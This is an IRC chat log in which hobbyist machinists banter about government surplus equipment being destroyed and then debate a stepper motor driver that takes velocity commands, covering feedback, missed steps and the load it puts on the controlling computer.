[23:47:36] <SWPadnos> NIST has
[23:48:04] <fenn> er, no actually ingersoll rand built it
[23:48:07] <TorbaX> TorbaX is now known as TorbaX_bed
[23:48:28] <SWPadnos> they made a really cool one that they used to mill the titaium case for the Declaration of Independence
[23:48:37] <SWPadnos> whichever
[23:48:44] <fenn> heh your tax dollars at work
[23:48:47] <SWPadnos> of course
[23:49:23] <fenn> kinda makes me sad to see the hundreds of pallets of govt surplus computers
[23:49:36] <SWPadnos> yes.
[23:49:58] <websys> bill-xm - are you doing 2D or 3D work?
[23:50:09] <SWPadnos> even worse when you hear about them destroying expensive equipment because the project has ended, and it would cost more in paperwork to transfer the device than to buy a new one
[23:50:26] <SWPadnos> like $50k spectrum analyzers
[23:50:53] <fenn> ugh
[23:50:57] <SWPadnos> yeah
[23:51:22] <SWPadnos> "we'er all donw with it - lets run over it with a tank"
[23:51:37] <fenn> see how can destroy the highest dollar value
[23:51:40] <fenn> *who
[23:51:42] <SWPadnos> yeah
[23:53:47] <fenn> what do you think about a stepper driver that is controlled like a servo?
[23:53:57] <fenn> you feed it velocity commands and it responds with position
[23:54:40] <SWPadnos> sounds good, but you'd still need feedback
[23:54:55] <SWPadnos> it would need to respond with actual velocity
[23:55:02] <fenn> it would take care of all the stupid step rate vs resolution crap
[23:55:29] <fenn> huh? cant you assume that the computer is giving it valid velocity curves?
[23:55:37] <SWPadnos> emc2 takes care of that by keeping everything in user units until the final output stage
[23:55:50] <SWPadnos> yes, but you can't assume that the stepper is moving at the requested velocity
[23:55:57] <fenn> why not?
[23:56:04] <fenn> velocity would be in steps/sec
[23:56:04] <SWPadnos> what if it misses a step
[23:56:13] <fenn> same problem as with regular stepper drivers
[23:56:53] <fenn> the software would have to be a little different, you'd have to slow down to keep axes in synch
[23:57:00] <SWPadnos> well - a voltage to frequency converter would do that
[23:57:14] <SWPadnos> but you can't know that you need to slow down unless you have feedback
[23:57:30] <fenn> isn't position feedback enough?
[23:57:50] <SWPadnos> you wouldn't have position feedback if the "driver" is just counting output pulses
[23:58:03] <SWPadnos> you'd have a synthetic number, which is useless for corercting motor problems
[23:58:05] <fenn> well, it's pseudo-feedback
[23:58:24] <SWPadnos> right, so you can only pseudo-correct the pseudo-problems you pseudo-detect ;)
[23:58:29] <fenn> exactly
[23:58:52] <fenn> i think you're missing the point
[23:59:05] <SWPadnos> could well be
[23:59:27] <fenn> the point is not to correct for error, it's to reduce the load on the computer